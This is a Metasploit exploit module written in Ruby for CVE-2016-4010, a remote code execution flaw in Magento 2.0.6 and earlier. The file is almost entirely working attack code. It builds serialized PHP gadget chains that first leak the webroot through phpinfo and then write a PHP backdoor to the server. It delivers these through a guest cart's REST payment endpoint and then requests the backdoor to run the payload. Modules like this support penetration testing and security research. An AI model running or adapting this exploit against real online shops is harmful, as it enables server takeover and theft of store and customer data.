399 lines
15 KiB
Ruby
399 lines
15 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Magento 2.0.6 Unserialize Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a PHP object injection vulnerability in Magento 2.0.6
|
|
or prior.
|
|
},
|
|
'Platform' => 'php',
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Netanel Rubin', # original discovery
|
|
'agix', # original exploit
|
|
'mr_me <mr_me[at]offensive-security.com>', # metasploit module
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x22",
|
|
},
|
|
'References' =>
|
|
[
|
|
['CVE', '2016-4010'],
|
|
['EDB', '39838'],
|
|
['URL', 'http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/'],
|
|
['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'],
|
|
['URL', 'https://magento.com/security/patches/magento-206-security-update']
|
|
],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic Targeting', { 'auto' => true } ],
|
|
],
|
|
'DisclosureDate' => '2016-05-17',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
|
|
])
|
|
end
|
|
|
|
def print_good(msg='')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def get_phpinfo
|
|
# uses the Magento_Framework_DB_Transaction class
|
|
serialize = 'O:13:\"Credis_Client\":22:{'
|
|
serialize << 's:8:\"\u0000*\u0000redis\";'
|
|
serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{'
|
|
serialize << 's:9:\"\u0000*\u0000_order\";N;'
|
|
serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;'
|
|
serialize << 's:12:\"\u0000*\u0000_children\";N;'
|
|
serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;'
|
|
serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";b:1;'
|
|
serialize << 's:14:\"\u0000*\u0000_isFailsafe\";'
|
|
serialize << 'b:1;'
|
|
serialize << 's:12:\"\u0000*\u0000_hasChild\";N;'
|
|
serialize << 's:15:\"\u0000*\u0000_eventPrefix\";'
|
|
serialize << 's:31:\"sales_order_payment_transaction\";'
|
|
serialize << 's:15:\"\u0000*\u0000_eventObject\";'
|
|
serialize << 's:25:\"order_payment_transaction\";'
|
|
serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;'
|
|
serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;'
|
|
serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;'
|
|
serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;'
|
|
serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;'
|
|
serialize << 's:18:\"\u0000*\u0000orderRepository\";N;'
|
|
serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;'
|
|
serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;'
|
|
serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;'
|
|
serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;'
|
|
serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;'
|
|
serialize << 's:15:\"\u0000*\u0000_idFieldName\";'
|
|
serialize << 's:2:\"id\";'
|
|
serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";'
|
|
serialize << 'b:0;'
|
|
serialize << 's:12:\"\u0000*\u0000_origData\";N;'
|
|
serialize << 's:13:\"\u0000*\u0000_isDeleted\";'
|
|
serialize << 'b:0;'
|
|
serialize << 's:12:\"\u0000*\u0000_resource\";'
|
|
serialize << 'O:32:\"Magento\\\Framework\\\DB\\\Transaction\":3:{'
|
|
serialize << 's:11:\"\u0000*\u0000_objects\";'
|
|
serialize << 'a:0:{}'
|
|
serialize << 's:18:\"\u0000*\u0000_objectsByAlias\";'
|
|
serialize << 'a:0:{}'
|
|
serialize << 's:25:\"\u0000*\u0000_beforeCommitCallbacks\";'
|
|
serialize << 'a:1:{'
|
|
serialize << 'i:0;'
|
|
serialize << 's:7:\"phpinfo\";}}' # the rub
|
|
serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;'
|
|
serialize << 's:16:\"\u0000*\u0000_resourceName\";N;'
|
|
serialize << 's:18:\"\u0000*\u0000_collectionName\";N;'
|
|
serialize << 's:12:\"\u0000*\u0000_cacheTag\";'
|
|
serialize << 'b:0;'
|
|
serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";'
|
|
serialize << 'b:1;'
|
|
serialize << 's:15:\"\u0000*\u0000_isObjectNew\";N;'
|
|
serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;'
|
|
serialize << 's:16:\"\u0000*\u0000_eventManager\";N;'
|
|
serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;'
|
|
serialize << 's:12:\"\u0000*\u0000_registry\";N;'
|
|
serialize << 's:10:\"\u0000*\u0000_logger\";N;'
|
|
serialize << 's:12:\"\u0000*\u0000_appState\";N;'
|
|
serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;'
|
|
serialize << 's:13:\"\u0000*\u0000storedData\";'
|
|
serialize << 'a:0:{}'
|
|
serialize << 's:8:\"\u0000*\u0000_data\";'
|
|
serialize << 'a:0:{}}'
|
|
serialize << 's:13:\"\u0000*\u0000redisMulti\";N;'
|
|
serialize << 's:7:\"\u0000*\u0000host\";N;'
|
|
serialize << 's:7:\"\u0000*\u0000port\";N;'
|
|
serialize << 's:10:\"\u0000*\u0000timeout\";N;'
|
|
serialize << 's:14:\"\u0000*\u0000readTimeout\";N;'
|
|
serialize << 's:13:\"\u0000*\u0000persistent\";N;'
|
|
serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";'
|
|
serialize << 'b:1;'
|
|
serialize << 's:12:\"\u0000*\u0000connected\";'
|
|
serialize << 'b:1;'
|
|
serialize << 's:13:\"\u0000*\u0000standalone\";N;'
|
|
serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";'
|
|
serialize << 'i:0;'
|
|
serialize << 's:18:\"\u0000*\u0000connectFailures\";'
|
|
serialize << 'i:0;'
|
|
serialize << 's:14:\"\u0000*\u0000usePipeline\";'
|
|
serialize << 'b:0;'
|
|
serialize << 's:15:\"\u0000*\u0000commandNames\";N;'
|
|
serialize << 's:11:\"\u0000*\u0000commands\";N;'
|
|
serialize << 's:10:\"\u0000*\u0000isMulti\";'
|
|
serialize << 'b:0;'
|
|
serialize << 's:13:\"\u0000*\u0000isWatching\";'
|
|
serialize << 'b:0;'
|
|
serialize << 's:15:\"\u0000*\u0000authPassword\";N;'
|
|
serialize << 's:13:\"\u0000*\u0000selectedDb\";'
|
|
serialize << 'i:0;'
|
|
serialize << 's:17:\"\u0000*\u0000wrapperMethods\";'
|
|
serialize << 'a:3:{'
|
|
serialize << 's:6:\"delete\";'
|
|
serialize << 's:3:\"del\";'
|
|
serialize << 's:7:\"getkeys\";'
|
|
serialize << 's:4:\"keys\";'
|
|
serialize << 's:7:\"sremove\";'
|
|
serialize << 's:4:\"srem\";}'
|
|
serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;'
|
|
serialize << 's:11:\"\u0000*\u0000requests\";'
|
|
serialize << 'i:0;}'
|
|
|
|
serialize
|
|
end
|
|
|
|
def get_phpshell
|
|
s = "#{@webroot}/#{@backdoor}"
|
|
p = "<?php #{payload.encoded} ?>"
|
|
# uses the Magento_Framework_Simplexml_Config_Cache_File class
|
|
serialize = 'O:13:\"Credis_Client\":22:{'
|
|
serialize << 's:8:\"\u0000*\u0000redis\";'
|
|
serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{'
|
|
serialize << 's:9:\"\u0000*\u0000_order\";N;'
|
|
serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;'
|
|
serialize << 's:12:\"\u0000*\u0000_children\";N;'
|
|
serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;'
|
|
serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";'
|
|
serialize << 'b:1;'
|
|
serialize << 's:14:\"\u0000*\u0000_isFailsafe\";'
|
|
serialize << 'b:1;s:12:\"\u0000*\u0000_hasChild\";N;'
|
|
serialize << 's:15:\"\u0000*\u0000_eventPrefix\";'
|
|
serialize << 's:31:\"sales_order_payment_transaction\";'
|
|
serialize << 's:15:\"\u0000*\u0000_eventObject\";'
|
|
serialize << 's:25:\"order_payment_transaction\";'
|
|
serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;'
|
|
serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;'
|
|
serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;'
|
|
serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;'
|
|
serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;'
|
|
serialize << 's:18:\"\u0000*\u0000orderRepository\";N;'
|
|
serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;'
|
|
serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;'
|
|
serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;'
|
|
serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;'
|
|
serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;'
|
|
serialize << 's:15:\"\u0000*\u0000_idFieldName\";'
|
|
serialize << 's:2:\"id\";'
|
|
serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";'
|
|
serialize << 'b:0;'
|
|
serialize << 's:12:\"\u0000*\u0000_origData\";N;'
|
|
serialize << 's:13:\"\u0000*\u0000_isDeleted\";'
|
|
serialize << 'b:0;'
|
|
serialize << 's:12:\"\u0000*\u0000_resource\";'
|
|
serialize << 'O:45:\"Magento\\\Framework\\\Simplexml\\\Config\\\Cache\\\File\":1:{'
|
|
serialize << 's:8:\"\u0000*\u0000_data\";'
|
|
serialize << 'a:3:{'
|
|
serialize << 's:18:\"is_allowed_to_save\";'
|
|
serialize << 'b:1;'
|
|
serialize << 's:14:\"stat_file_name\";'
|
|
serialize << "s:#{s.length.to_s}:\\\"#{s}\\\";" # our shell
|
|
serialize << 's:10:\"components\";'
|
|
serialize << "s:#{p.length.to_s}:\\\"#{p}\\\";}}" # our payload
|
|
serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;'
|
|
serialize << 's:16:\"\u0000*\u0000_resourceName\";N;'
|
|
serialize << 's:18:\"\u0000*\u0000_collectionName\";N;'
|
|
serialize << 's:12:\"\u0000*\u0000_cacheTag\";'
|
|
serialize << 'b:0;'
|
|
serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";'
|
|
serialize << 'b:1;s:15:\"\u0000*\u0000_isObjectNew\";N;'
|
|
serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;'
|
|
serialize << 's:16:\"\u0000*\u0000_eventManager\";N;'
|
|
serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;'
|
|
serialize << 's:12:\"\u0000*\u0000_registry\";N;'
|
|
serialize << 's:10:\"\u0000*\u0000_logger\";N;'
|
|
serialize << 's:12:\"\u0000*\u0000_appState\";N;'
|
|
serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;'
|
|
serialize << 's:13:\"\u0000*\u0000storedData\";'
|
|
serialize << 'a:0:{}'
|
|
serialize << 's:8:\"\u0000*\u0000_data\";'
|
|
serialize << 'a:0:{}}'
|
|
serialize << 's:13:\"\u0000*\u0000redisMulti\";N;'
|
|
serialize << 's:7:\"\u0000*\u0000host\";N;'
|
|
serialize << 's:7:\"\u0000*\u0000port\";N;'
|
|
serialize << 's:10:\"\u0000*\u0000timeout\";N;s:14:\"\u0000*\u0000readTimeout\";N;'
|
|
serialize << 's:13:\"\u0000*\u0000persistent\";N;'
|
|
serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";'
|
|
serialize << 'b:1;'
|
|
serialize << 's:12:\"\u0000*\u0000connected\";'
|
|
serialize << 'b:1;'
|
|
serialize << 's:13:\"\u0000*\u0000standalone\";N;'
|
|
serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";'
|
|
serialize << 'i:0;'
|
|
serialize << 's:18:\"\u0000*\u0000connectFailures\";'
|
|
serialize << 'i:0;'
|
|
serialize << 's:14:\"\u0000*\u0000usePipeline\";'
|
|
serialize << 'b:0;'
|
|
serialize << 's:15:\"\u0000*\u0000commandNames\";N;'
|
|
serialize << 's:11:\"\u0000*\u0000commands\";N;'
|
|
serialize << 's:10:\"\u0000*\u0000isMulti\";'
|
|
serialize << 'b:0;'
|
|
serialize << 's:13:\"\u0000*\u0000isWatching\";'
|
|
serialize << 'b:0;'
|
|
serialize << 's:15:\"\u0000*\u0000authPassword\";N;'
|
|
serialize << 's:13:\"\u0000*\u0000selectedDb\";i:0;'
|
|
serialize << 's:17:\"\u0000*\u0000wrapperMethods\";'
|
|
serialize << 'a:3:{'
|
|
serialize << 's:6:\"delete\";'
|
|
serialize << 's:3:\"del\";'
|
|
serialize << 's:7:\"getkeys\";'
|
|
serialize << 's:4:\"keys\";'
|
|
serialize << 's:7:\"sremove\";'
|
|
serialize << 's:4:\"srem\";}'
|
|
serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;'
|
|
serialize << 's:11:\"\u0000*\u0000requests\";'
|
|
serialize << 'i:0;}'
|
|
|
|
serialize
|
|
end
|
|
|
|
def do_check
|
|
data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"'
|
|
data << get_phpinfo
|
|
data << "\"}},\"email\":\"#{@email}\"}"
|
|
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),
|
|
'ctype' => 'application/json',
|
|
'data' => data,
|
|
})
|
|
end
|
|
|
|
def define_globals
|
|
@phpsessid = Rex::Text.rand_text_alphanumeric(26)
|
|
@form_key = Rex::Text.rand_text_alphanumeric(26)
|
|
@cookies = "PHPSESSID=#{@phpsessid}; form_key=#{@form_key}"
|
|
@email = "#{@phpsessid}@#{@form_key}.com"
|
|
end
|
|
|
|
def check
|
|
define_globals
|
|
# we actually exploit the bug, but just for a callback
|
|
begin
|
|
if create_fake_cart
|
|
if generate_cart_id
|
|
# twice, because we need to setup the phpinfo callback using
|
|
# the Magento_Framework_DB_Transaction() pop chain
|
|
res = ""
|
|
(0..1).step(1) do |n|
|
|
res = do_check
|
|
end
|
|
if (res && res.body.include?('phpinfo()'))
|
|
return Exploit::CheckCode::Appears
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
end
|
|
rescue ::Rex::ConnectionError => e
|
|
vprint_error(e.message)
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def get_webroot
|
|
data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"'
|
|
data << get_phpinfo
|
|
data << "\"}},\"email\":\"#{@email}\"}"
|
|
|
|
# we steal path via phpinfo
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),
|
|
'ctype' => 'application/json',
|
|
'data' => data,
|
|
})
|
|
|
|
if res && res.code == 200
|
|
@webroot = "#{$1}" if res.body =~ /_SERVER\["DOCUMENT_ROOT"\]<\/td><td class="v">(.*)<\/td><\/tr>/
|
|
return true
|
|
end
|
|
|
|
false
|
|
end
|
|
|
|
def create_fake_cart
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/checkout/cart/add/uenc/\/product/1/'),
|
|
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
|
|
'cookie' => @cookies,
|
|
'vars_get' => { 'form_key' => @form_key }
|
|
})
|
|
|
|
return true if (res && res.body.include?('[]'))
|
|
|
|
false
|
|
end
|
|
|
|
def generate_cart_id
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/checkout/cart/'),
|
|
'cookie' => @cookies,
|
|
})
|
|
if res && res.code == 200
|
|
@guest_cart_id = "#{$1}" if res.body =~ /entity_id":"(.*)","store_id":\d,"created_at/
|
|
return true
|
|
end
|
|
|
|
false
|
|
end
|
|
|
|
def backdoor
|
|
data = "{\"paymentMethod\":{\"method\":\"checkmo\",\"additional_data\":{\"additional_information\":\""
|
|
data << get_phpshell
|
|
data << "\"}},\"email\":\"#{@email}\"}"
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),
|
|
'ctype' => 'application/json',
|
|
'data' => data,
|
|
})
|
|
|
|
return true if (res && res.body.include?('true'))
|
|
|
|
false
|
|
end
|
|
|
|
def exec_code
|
|
send_request_raw({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "/#{@backdoor}"),
|
|
}, timeout = 0.5)
|
|
end
|
|
|
|
def exploit
|
|
define_globals
|
|
@backdoor = "#{Rex::Text.rand_text_alphanumeric(26)}.php"
|
|
register_files_for_cleanup("#{@backdoor}")
|
|
if create_fake_cart && generate_cart_id
|
|
print_good("generated a guest cart id")
|
|
if get_webroot && backdoor
|
|
print_good("backdoor done!")
|
|
exec_code
|
|
end
|
|
end
|
|
end
|
|
end
|